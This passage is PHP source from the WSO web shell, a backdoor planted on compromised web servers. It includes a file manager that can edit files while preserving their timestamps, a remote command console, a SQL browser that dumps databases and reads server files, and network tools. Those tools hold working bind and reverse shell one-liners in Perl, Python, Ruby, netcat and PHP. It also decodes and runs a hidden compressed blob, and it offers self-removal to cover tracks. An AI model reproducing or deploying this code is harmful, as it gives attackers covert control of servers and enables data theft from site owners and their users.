	echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'highlight\')">'.HSC($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" '.(empty($f['link'])?'':"title='{$f['link']}'").'><b>[ '.HSC($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'].'</a></td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
	$l=$l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value=FilesMan>
<input type=hidden name=c value='".HSC($GLOBALS['cwd'])."'>
<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name=p1><option value='Y29weQ=='>Copy</option><option value='bW92ZQ=='>Move</option><option value=ZGVsZXRl>Delete</option>";
if(class_exists('ZipArchive'))echo "<option value=emlw>Compress (zip)</option><option value=unzip>Uncompress (zip)</option>";
echo "<option value=dGFy>Compress (tar.gz)</option>";
if(!empty($_COOKIE['act'])&&@count($_COOKIE['f']))echo "<option value='cGFzdGU='>Paste / Compress</option>";
echo "</select>&nbsp;";
if(!empty($_COOKIE['act'])&&@count($_COOKIE['f'])&&(($_COOKIE['act']=='zip')||($_COOKIE['act']=='tar')))echo "file name: <input type=text name=p2 value='wso_".date("Ymd_His").".".($_COOKIE['act']=='zip'?'zip':'tar.gz')."'>&nbsp;";
echo '<input type=submit value=">>"></td></tr></table></form></div>';
wsoFooter();
$_POST['p4']=gzuncompress(convert_uudecode($GLOBALS['ty']));
actRC();
}
function actFilesTools(){
if(isset($_POST['p1']))$_POST['p1']=urldecode($_POST['p1']);
if(@$_POST['p2']=='download'&&isset($_POST['p1'])){
	if(@is_file($_POST['p1'])&&@is_readable($_POST['p1'])){
		ob_start('ob_gzhandler',4096);
		header('Content-Disposition: attachment; filename='.basename($_POST['p1']));
		$type = 'application/octet-stream';
		if(function_exists('mime_content_type'))$type=mime_content_type($_POST['p1']);
		header("Content-Type: $type");
		$fp=@fopen($_POST['p1'],'r');
		if($fp){
			while(!@feof($fp))
				echo @fread($fp, 1024);
			fclose($fp);
		}
	}exit;
}
if(@$_POST['p2']=='mkfile'){
	if(!file_exists($_POST['p1'])){
		$fp=@fopen($_POST['p1'],'w');
		if($fp){$_POST['p2']='edit';fclose($fp);}
	}
}
wsoHeader('File tools');
if(!file_exists(@$_POST['p1'])){echo 'File not exists';wsoFooter();return;}
$uid=@posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid){
	$uid['name']=@fileowner($_POST['p1']);
	$gid['name']=@filegroup($_POST['p1']);
}else $gid=@posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.HSC(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br><span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if(empty($_POST['p2']))
	$_POST['p2']='view';
if(is_file($_POST['p1']))$m=array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch');
else{$m=array('Chmod','Rename','Touch');}
foreach($m as $v)echo '<a href=# onclick="g(null,null,\''.urlencode($_POST['p1']).'\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?"<b>[ $v ]</b>":$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']){
	case 'view':
		echo '<pre class=ml1>';
		$fp=@fopen($_POST['p1'],'rb');
		if($fp){
			while($data = @fread($fp,1024))
				echo HSC($data);
			@fclose($fp);
		}
		echo '</pre>';
		break;
	case 'highlight':
		if(@is_readable($_POST['p1'])){echo '<div class=ml1>'.str_replace(array('<span ','</span>','style="color: #007700"','style="color: #0000BB"','style="color: #DD0000"','style="color: #000000"'), array('<font ','</font>','style="color:#fff"','style="color:#12ff4f"','style="color:#EECAFF"','style="color:#e19c9c"'),highlight_file($_POST['p1'],true)).'</div>';}
		break;
	case 'chmod':
		if(!empty($_POST['p3'])){
			$perms=0;
			for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
				$perms+=(int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));
			if(!@chmod($_POST['p1'],$perms))echo "Can't set permissions!<br><script>d.mf.p3.value='';</script>";
		}
		clearstatcache();
		echo '<script>p3_="";</script><form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o',fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
		break;
	case 'edit':
		if(!is_writable($_POST['p1'])){echo "File isn't writeable";break;}
		if(!empty($_POST['p3'])){
			$time=@filemtime($_POST['p1']);
			$fp=@fopen($_POST['p1'],'w');
			if($fp){
				@fwrite($fp,base64_decode($_POST['p3']));
				@fclose($fp);
				echo 'Saved!<br><script>p3_="";</script>';
				@touch($_POST['p1'],$time,$time);
			}
		}
		echo '<form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,btoa(this.text.value));return false;"><textarea name=text class=bigarea>';
		$fp=@fopen($_POST['p1'], 'r');
		if($fp){
			while($data = @fread($fp,1024))
				echo HSC($data,$html_translation);
			@fclose($fp);
		}
		echo '</textarea><input type=submit value=">>"></form>';
		break;
	case 'hexdump':
		$c=@file_get_contents($_POST['p1']);
		$n=0;
		$h=array('00000000<br>','','');
		$len=strlen($c);
		for($i=0;$i<$len;++$i){
			$h[1].=sprintf('%02X',ord($c[$i])).' ';
			switch (ord($c[$i])){
				case 0: $h[2].=' ';break;
				case 9: $h[2].=' ';break;
				case 10: $h[2].=' ';break;
				case 13: $h[2].=' ';break;
				default: $h[2].=$c[$i];break;
			}
			$n++;
			if($n==32){
				$n=0;
				if($i+1<$len){$h[0].=sprintf('%08X',$i+1).'<br>';}
				$h[1].='<br>';
				$h[2].="\n";
			}
		}
		echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.HSC($h[2]).'</pre></td></tr></table>';
		break;
	case 'rename':
		if(!empty($_POST['p3'])){
			if(!@rename($_POST['p1'],$_POST['p3']))echo 'Can\'t rename!<br>';
			else die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
		}
		echo '<form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,this.name.value);return false;"><input type=text name=name value="'.HSC($_POST['p1']).'"><input type=submit value=">>"></form>';
		break;
	case 'touch':
		if(!empty($_POST['p3'])){
			$time=strtotime($_POST['p3']);
			if($time){
				if(!touch($_POST['p1'],$time,$time))echo 'Fail!';
				else echo 'Touched!';
			}else echo 'Bad time format!';
		}
		clearstatcache();
		echo '<script>p3_="";</script><form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,this.touch.value);return false;"><input type=text name=touch value="'.date('Y-m-d H:i:s', @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
		break;
}
echo '</div>';
wsoFooter();
}
function actConsole(){
if(isset($_POST['p1']))$_POST['p1']=base64_decode($_POST['p1']);
if(!empty($_POST['p1'])&&!empty($_POST['p2'])){
	WSOcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out',true);
	$_POST['p1'].=' 2>&1';
}elseif(!empty($_POST['p1']))
	WSOcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out',0);
if(isset($_POST['ajax'])){
	WSOcookie(md5($_SERVER['HTTP_HOST']).'ajax',true);
	ob_start();
	echo "d.cf.cmd.value='';\n";
	$charsets=array_flip(array('UTF-8'=>'utf8','Windows-1251'=>'cp1251','Windows-1256'=>'cp1256','KOI8-R'=>'koi8r','KOI8-U'=>'koi8u','cp866'=>'cp866'));
	$temp=@iconv($charsets[$_POST['charset']],'UTF-8',addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
	if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)){
		if(@chdir($match[1])){
			$GLOBALS['cwd']=@getcwd();
			echo "c_='".$GLOBALS['cwd']."';";
		}
	}
	echo "d.cf.output.value+='$temp';d.cf.output.scrollTop=d.cf.output.scrollHeight;";
	$temp=ob_get_clean();
	echo strlen($temp),"\n",$temp;
	exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOcookie(md5($_SERVER['HTTP_HOST']).'ajax',0);
wsoHeader('Console');
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e){
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38){
		cur--;
		if(cur>=0)
			d.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40){
		cur++;
		if(cur < cmds.length)
			d.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd){
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>",'<form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,btoa(this.cmd.value),this.show_errors.checked?1:\'\');}else{g(null,null,btoa(this.cmd.value),this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n=>$v){
	if($v==''){echo '<optgroup label="-'.HSC($n).'-"></optgroup>';continue;}
	echo '<option value="'.HSC($v)."\">$n</option>";
}
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])){echo HSC('$ '.$_POST['p1']."\n".wsoEx($_POST['p1']));}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table></form></div><script>d.cf.cmd.focus();</script>';
wsoFooter();
}
function actLogout(){setcookie(md5($_SERVER['HTTP_HOST']),'',time()-3600);die('bye!');}
function actSelfRemove(){if($_POST['p1']=='y'){if(@unlink(preg_replace('!\(\d+\)\s.*!', '',__FILE__))){die('Shell removed');}echo 'unlink error!';}wsoHeader('Suicide');echo 'remove the shell?<br><a href=# onclick="g(null,null,\'y\')">Yes</a></div>';wsoFooter();}
function actSql(){
class DbClass{
	var $type;
	var $link;
	function __construct($type){$this->type=$type;}
	function connect($host,$user,$pass,$dbname,$charset){
		switch($this->type){
			case 'mysqli':
				if(!function_exists('mysqli_connect'))break;
				if($this->link=@mysqli_connect($host,$user,$pass)){
					@mysqli_select_db($this->link,$dbname);
					if(function_exists('mysqli_set_charset'))return @mysqli_set_charset($this->link,$charset);
					else $this->query('SET CHARSET '.$charset);
					return true;
				}
				break;
			case 'mysql':
				if(!function_exists('mysql_connect'))break;
				if($this->link=@mysql_connect($host,$user,$pass,true)){
					@mysql_select_db($db);
					if(function_exists('mysql_set_charset'))return @mysql_set_charset($charset,$this->link);
					else $this->query("SET CHARSET $charset");
					return true;
				}
				break;
			case 'pgsql':
				if(!function_exists('pg_connect'))break;
				$host=explode(':',$host);
				if(!$host[1])$host[1]=5432;
				if($this->link=@pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")){
					@pg_set_client_encoding($this->link,$charset); //TODO: could also do this in pg_connnect
					return true;
				}
				break;
			case 'odbc':
				if(!function_exists('odbc_connect'))break;
				$host=explode(':',$host);
				if(!$host[1])$host[1]=1433;
				if($this->link=@odbc_connect('Driver={SQL Server};Server={'.$host[0].",".$host[1].'};Database={'.$dbname.'}',$user,$pass))return true;
				//TODO: add charset
				break;
			
		}
		$this->link=false;
		return false;
	}
	function get_connect_error(){
		switch($this->type){
			case 'mysqli':
				if(!function_exists('mysqli_connect_errno')) return 'SQL Connect Error: MySQLi PHP Extension not installed';
				return "<p>SQL Connect Error | Number: ".@mysqli_connect_errno()." | Message: ".@mysqli_connect_error()."</p>";
			case 'mysql':
				if(!function_exists('mysql_errno')) return 'SQL Connect Error: MySQL PHP Extension not installed';
				return "<p>SQL Connect Error | Number: ".@mysql_errno()." | Message: ".@mysql_error()."</p>";
			case 'pgsql':
				if(!function_exists('pg_last_error')) return 'SQL Connect Error: PostgreSQL PHP Extension not installed';
				return "<p>SQL Connect Error | Message: ".@pg_last_error($this->link)."</p>";
			case 'odbc':
				if(!function_exists('odbc_error')) return 'SQL Connect Error: ODBC PHP Extension not installed';
				return "<p>SQL Connect Error | Number: ".@odbc_error()." | Error Message: ".@odbc_errormsg()."</p>";
		}
	}
	function query($str){
		switch($this->type){
			case 'mysqli':
				return @mysqli_query($this->link,$str);
			case 'mysql':
				return @mysql_query($str);
			case 'pgsql':
				return @pg_query($this->link,$str);
			case 'odbc':
				return @odbc_exec($this->link,$str);
		}
		return false;
	}
	function fetch($res){
		switch($this->type){
			case 'mysqli':
				return @mysqli_fetch_assoc($res);
			case 'mysql':
				return @mysql_fetch_assoc($res);
			case 'pgsql':
				return @pg_fetch_assoc($res);
			case 'odbc':
				return @odbc_fetch_array($res);
		}
		return false;
	}
	function listDbs(){
		switch($this->type){
			case 'mysqli':
			case 'mysql':
				return $this->query('SHOW databases');
			case 'pgsql':
				return $this->query('SELECT datname FROM pg_database WHERE datistemplate!=\'t\'');
		}
		return false;
	}
	function listTables(){
		switch($this->type){
			case 'mysqli':
			case 'mysql':
				return $this->query('SHOW TABLES');
			case 'pgsql':
				return $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
			case 'odbc':
				return $this->query('SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES ORDER BY TABLE_NAME;');
		}
		return false;
	}
	function error(){
		switch($this->type){
			case 'mysqli':
				return @mysqli_error($this->link);
			case 'mysql':
				return @mysql_error();
			case 'pgsql':
				return @pg_last_error();
			case 'odbc':
				return @odbc_errormsg($this->link);
		}
		return false;
	}
	function loadFile($str){
		switch($this->type){
			case 'mysqli':
			case 'mysql':
				return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
			case 'pgsql':
				$res = $this->query('CREATE TABLE wso2(file text);COPY wso2 FROM \''.addslashes($str).'\';select file from wso2;');
				$r=array();
				while($i=$this->fetch($res))
					$r[]=$i['file'];
				$this->query('drop table wso2');
				return array('file'=>implode("\n",$r));
		}
		return false;
	}
	function dump($table,$fp=false){
		switch($this->type){
			case 'mysqli':
			case 'mysql':
				$create=$this->fetch($this->query("SHOW CREATE TABLE `$table`"));
				$sql=$create['Create Table'].";\n";
				if($fp)fwrite($fp,$sql);else echo($sql);
				$res=$this->query("SELECT * FROM `$table`");
				$i=0;
				$head=true;
				while($item=$this->fetch($res)){
					$sql='';
					if($i%1000==0){
						$head=true;
						$sql=";\n\n";
					}
					$columns=array();
					foreach($item as $k=>$v){
						if($v===null)$item[$k]='NULL';
						elseif(is_int($v))$item[$k]=$v;
						else
							switch($this->type){
								case 'mysql':
									$item[$k]= "'".@mysql_real_escape_string($v)."'";break;
								case 'mysqli':
									$item[$k]= "'".@mysqli_real_escape_string($this->link,$v)."'";break;
							}
						$columns[]="`$k`";
					}
					if($head){
						$sql.="INSERT INTO `$table` (".implode(", ",$columns).") VALUES \n\t(".implode(', ',$item).')';
						$head=false;
					}else
						$sql.=",\n\t(".implode(', ',$item).')';
					if($fp)fwrite($fp,$sql);else echo($sql);
					$i++;
				}
				if(!$head)
					if($fp)fwrite($fp,";\n\n");else echo(";\n\n");
				break;
			case 'pgsql':
				$res = $this->query("SELECT * FROM $table");
				while($item=$this->fetch($res)){
					$columns=array();
					foreach($item as $k=>$v){
						$item[$k]="'".addslashes($v)."'";
						$columns[]=$k;
					}
					$sql="INSERT INTO $table (".implode(", ", $columns).') VALUES ('.implode(", ",$item).");\n";
					if($fp)fwrite($fp,$sql);else echo($sql);
				}
				break;
		}
		return false;
	}
};
$type=$_POST['type'];
$base=$_POST['sql_base'];
$host=$_POST['sql_host'];
$login=$_POST['sql_login'];
$pwd=$_POST['sql_pass'];
$count=!empty($_POST['sql_count']);
$db=new DbClass($type);
if(!empty($host))$db->connect($host,$login,$pwd,$base,$_POST['charset']);
if(((@$_POST['p2']=='download')||(@$_POST['p1']=='querydl'))&&(@$_POST['p1']!='select')){
	if($db->link){
		if(empty($_POST['file'])||(@$_POST['p1']=='querydl')){
			ob_start('ob_gzhandler',4096);
			header('Content-Disposition: attachment; filename=dump.sql');
			header('Content-Type: text/plain');
			if(@$_POST['p1']=='querydl'){
				$res = $db->query(@$_POST['p2']);
				if($res!==false){
					echo @$_POST['p2']."\n";
					while($item=$db->fetch($res)){
						end($item);
						$lastkey=key($item);
						reset($item);
						foreach($item as $key=>$value){
							if($value==null) echo '';
							else echo $value; //escape newlines?
							if($key!=$lastkey) echo "\t";
						}
						echo "\n";
					}
				}else{echo 'Error: '.$db->error();}
				exit;
			}
			foreach($_POST['tbl'] as $v)
				$db->dump($v);
			exit;
		}elseif($fp=@fopen($_POST['file'],'w')){
			foreach($_POST['tbl'] as $v)$db->dump($v,$fp);
			fclose($fp);
			unset($_POST['p2']);
		}else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	} else{echo $db->get_connect_error();exit;}
}
wsoHeader('SQL browser');
if(!empty($host)&&!$db->link){echo $db->get_connect_error();}
echo "<script>
function fs(f){
	var nF = d.createElement('form');
	nF.style='display:none;'
	nF.method='post';
	for(var i=0,element;element=f.elements[i++];){
		var clone = element.cloneNode(true);
		clone.hidden=true;
		if(element.nodeName.toUpperCase()=='SELECT'){clone.value=element.value;}
		nF.appendChild(clone);
	}
	if(f.sql_base.value!='".@base64_encode($base)."'){
		if(nF.p1)nF.p1.value='';
		if(nF.p2)nF.p2.value='';
		if(nF.p3)nF.p3.value='';
	}
	d.body.appendChild(nF);
	mg(nF);
}
function st(t,l){
	d.sf.p1.value='select';
	d.sf.p2.value=t;
	if(l&&d.sf.p3)d.sf.p3.value=l;
	fs(d.sf);
}
function ct(l){st('".$_POST['p2']."',l)}
function is(){for(i=0;i<d.sf.elements['tbl[]'].length;++i)d.sf.elements['tbl[]'][i].checked=!d.sf.elements['tbl[]'][i].checked;}</script>
<form name=sf method=post onsubmit='fs(this);return false;'><table cellpadding=2 cellspacing=0><tr>
<td>Type</td><td>Host(:Port)</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql>
<input type=hidden name=p1 value=query>
<input type=hidden name=p2 value=''>
<input type=hidden name=c value='".HSC($GLOBALS['cwd'])."'>
<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
<td><select name=type><option value=bXlzcWxp".($type=='mysqli'?' selected':'').">MySQLi</option><option value='bXlzcWw='".($type=='mysql'?' selected':'').">MySQL</option><option value='cGdzcWw='".($type=='pgsql'?' selected':'').">PostgreSQL</option><option value='b2RiYw=='".($type=='odbc'?' selected':'').'>ODBC</option></select></td>
<td><input type=text name=sql_host value="'.(empty($host)?'localhost':HSC($host)).'"></td>
<td><input type=text name=sql_login value="'.(empty($login)?'root':HSC($login)).'"></td>
<td><input type=text name=sql_pass value="'.HSC($pwd).'"></td><td>';
if($db->link){
	echo '<select name=sql_base><option value=""></option>';
	if($db->type=='odbc'){echo '<option value="'.base64_encode($base).'" selected>'.$base.'</option>';}
	else{$res = $db->listDbs();while($item=$db->fetch($res)){list($key,$value)=each($item);echo '<option value="'.base64_encode($value).'" '.($value==$base?'selected':'').">$value</option>";}}
	echo '</select>';
}else{echo '<input type=text name=sql_base value="">';}
echo "</td><td><input type=submit value='>>'></td><td><input type=checkbox name=sql_count value=on".($count?' checked':' ')."> count the number of rows</td></tr></table>";
if($db->link){
	if(!empty($base)){
		echo '<br><table width=100% cellpadding=2 cellspacing=0><tr><td width=1><span>Tables:</span><br><br>';
		$tbls_res=$db->listTables();
		while($item=$db->fetch($tbls_res)){
			list($key,$value)=each($item);
			//TODO: could be paralellised?
			if($count)
				$n=$db->fetch($db->query("SELECT COUNT(*) as n FROM $value"));
			$value=HSC($value);
			echo "<nobr><input type=checkbox name='tbl[]' value='$value'>&nbsp;<a href=# onclick=\"st('$value',1)\">$value</a>".($count?" <small>({$n['n']})</small>":'&nbsp;').'</nobr><br>';
		}
		echo "<input type=checkbox onclick='is();'> <input type=button value='Dump to file' onclick='d.sf.p2.value=\"download\";fs(d.sf);return false;'><br><br>
		<input type=button value='Dump to browser' onclick='d.sf.p2.value=\"download\";d.sf.file.value=\"\";fs(d.sf);return false;'><br><br>
		File path:<input type=text name=file value=dump.sql></td><td>";
		if(@$_POST['p1']=='select'){
			$_POST['p1']='query';
			$tbl=$_POST['p2'];
			$page=$_POST['p3']?(int)$_POST['p3']:1;
			$num=$db->fetch($db->query("SELECT COUNT(*) as n FROM $tbl"));
			$pages=ceil($num['n']/30);
			echo "<script>d.sf.onsubmit=function(){ct(d.sf.p3.value)}</script><span>$tbl</span> ({$num['n']} records) Page # <input type=text name=p3 value=$page><input type=button value='>>' onclick='ct(d.sf.p3.value);return false;'> of $pages";
			if($page>1)echo " <a href=# onclick='ct(".($page-1).")'>&lt; Prev</a>";
			if($page<$pages)echo " <a href=# onclick='ct(".($page+1).")'>Next &gt;</a>";
			$page--;
			switch($type){
				case 'pgsql':
					$_POST['p2']="SELECT * FROM $tbl LIMIT 30 OFFSET ".($page*30);
					break;
				case 'odbc':
					$_POST['p2']="SELECT * FROM $tbl ORDER BY 1 OFFSET ".($page*30).' ROWS FETCH NEXT 30 ROWS ONLY';
					break;
				default:
					$_POST['p2']="SELECT * FROM `$tbl` LIMIT ".($page*30).',30';
					break;
			}
			echo '<br><br>';
		}
		if((@$_POST['p1']=='query')&&!empty($_POST['p2'])){
			$res=$db->query(@$_POST['p2']);
			if($res!==false){
				$title=false;
				echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
				$line=1;
				while($item=$db->fetch($res)){
					if(!$title){
						echo '<tr>';
						foreach($item as $k=>$v)echo "<th>$k</th>";
						reset($item);
						$title=true;
						echo '</tr><tr>';
						$line=2;
					}
					echo "<tr class=l$line>";
					$line=$line==1?2:1;
					foreach($item as $v){echo ($v==null)?'<td><i>null</i></td>':'<td>'.nl2br(HSC($v)).'</td>';}
					echo '</tr>';
				}
				echo '</table>';
			}else{echo '<div><b>Error:</b> '.HSC($db->error()).'</div>';}
		}
		echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;mg(d.sf);return false;' name= querybox><textarea name=query style='width:100%;height:100px'>";
		if(!empty($_POST['p2'])&&($_POST['p1']!='loadfile'))echo HSC($_POST['p2']);
		echo "</textarea><br><input type=submit value=Execute><button type=button onclick='d.sf.p1.value=\"querydl\";d.sf.p2.value=d.querybox.query.value;mg(d.sf);return false;'>Execute and Download</button></form></td></tr></table></form>";
	}
	if(in_array($type,array('mysql','mysqli','pdo'))){
		$res=$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`,'@',`host`) = USER() AND `File_priv`='y'");
		if($db->fetch($res))echo "<br><form onsubmit='d.sf.p1.value=\"loadfile\";d.sf.p2.value=this.f.value;mg(d.sf);return false;'><span>Load file</span><input class=toolsInp type=text name=f><input type=submit value='>>'></form>";
	}
	if(@$_POST['p1']=='loadfile'){$f=$db->loadFile($_POST['p2']);echo '<br><pre class=ml1>'.HSC($f['file']).'</pre>';}
}else{echo '</form>';}
echo '</div>';
wsoFooter();
}
function actNetwork(){
wsoHeader('Network tools');
$port=rand(1025,65534);//randomising port cos firewalls
echo "<form name=nfp onSubmit=\"g(null,null,this.bctype.value,null,this.port.value);return false;\">
<span>Bind port</span><br>
Type: <select name=bctype><option value=bpp>Perl</option><option value=bpnc>Netcat</option></select>
Port: <input type=text name=port value=$port> <input type=submit value='>>'>
</form>
<form name=nfp onSubmit=\"g(null,null,this.bctype.value,this.server.value,this.port.value);return false;\">
<span>Back-connect</span><br>
Type: <select name=bctype><option value=bcphp>PHP</option><option value=bcp>Perl</option><option value=bcpy>Python</option><option value=bcpyudp>Python UDP Socat</option><option value=bcpytcp>Python TCP Socat</option><option value=bcuby>Ruby</option><option value=bcnc>Netcat</option><option value=bcsocat>Socat TTY</option></select>
Server: <input type=text name=server value='".$_SERVER['REMOTE_ADDR']."'> Port: <input type=text name=port value=$port> <input type=submit value='>>'>
</form>
<span>Netcat command (run this on your server)</span><br>nc -l -vv -p $port<br>
<span>Socat command (TCP)</span><br>socat file:`tty`,raw,echo=0 tcp-listen:$port<br>
<span>Socat command (UDP)</span><br>socat file:`tty`,raw,echo=0 udp-listen:$port<br>";
$type=$_POST['p1'];
if($type!=''){
	$port=$_POST['p3'];
	$addr=$_POST['p2'];
	$cmd=$chk='';
	switch($type){
		case 'bpp':
			$cmd="perl -e 'use Socket;socket(S,&PF_INET,&SOCK_STREAM,getprotobyname(\"tcp\"));setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);bind(S,sockaddr_in($port,INADDR_ANY));listen(S,3);while(1){accept(CONN,S);if(!(\$pid=fork)){die \"Cannot fork\" if (!defined \$pid);open STDIN,\"<&CONN\";open STDOUT,\">&CONN\";open STDERR,\">&CONN\";exec \"/bin/sh -i\";close CONN;exit 0;}}' &";
			$chk='perl -e';
			break;
		case 'bcp':
			$cmd="perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($port,inet_aton(\"$addr\")))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};' &";
			$chk='perl -e';
			break;
		case 'bcpy':
			$cmd="python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$addr\",$port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' &";
			$chk='python -c';
			break;
		case 'bcruby':
			$cmd="ruby -rsocket -e'f=TCPSocket.open(\"$addr\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)' &";
			$chk='ruby -rsocket';
			break;
		case 'bpnc':
		case 'bcnc':
			$cmd="nc -e /bin/sh ".(($type=='bcnc')?$addr:'-lvp ')." $port &";
			$chk='nc -e';
			break;
		case 'bcphp':
			$cmd=str_replace('q',$port,str_replace('z',$addr,'set_time_limit(0);$w=null;if(function_exists("pcntl_fork")){$p=pcntl_fork();if($p||$p==-1||posix_setsid()==-1)exit();};umask(0);$s=fsockopen("z",q,$errno,$errstr,30);if(!$s)exit(1);$proc=proc_open("uname -a;id;/bin/sh -i",array(array("pipe","r"),array("pipe","w"),array("pipe","w")),$p);if(!is_resource($proc))exit(1);stream_set_blocking($p[0],0);stream_set_blocking($p[1],0);stream_set_blocking($p[2],0);stream_set_blocking($s,0);while(1){if(feof($s)||feof($p[1]))break;$r=array($s,$p[1],$p[2]);stream_select($r,$w,$w,null);if(in_array($s,$r))fwrite($p[0],fread($s,1400));if(in_array($p[1],$r))fwrite($s,fread($p[1],1400));if(in_array($p[2],$r))fwrite($s,fread($p[2],1400));};fclose($s);fclose($p[0]);fclose($p[1]);fclose($p[2]);proc_close($proc);'));
			eval($cmd);
			break;
		case 'bcpyudp':
		case 'bcpytcp':
			$cmd="python -c 'import os,pty,socket;esc=\"%s[\"%chr(27);color=esc+\"1;36m\";reset=esc+\"0m\";s=socket.socket(socket.AF_INET,socket.".(($type=='bcpyudp')?'SOCK_DGRAM':'SOCK_STREAM').");s.connect((\"$addr\",$port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\"HISTFILE\",\"/dev/null\");os.putenv(\"HOME\",os.getcwd());os.putenv(\"PATH\",\"/usr/local/sbin:/usr/sbin:/sbin:/bin:/usr/local/bin:/usr/bin:\"+os.getenv(\"PATH\",\"\"));os.putenv(\"TERM\",\"linux\");os.putenv(\"PS1\",color+\"\u@\h:\w\$ \"+reset);pty.spawn(\"/bin/bash\");s.close()' &";
			$chk='python -c';
			break;
		case 'bcsocat':
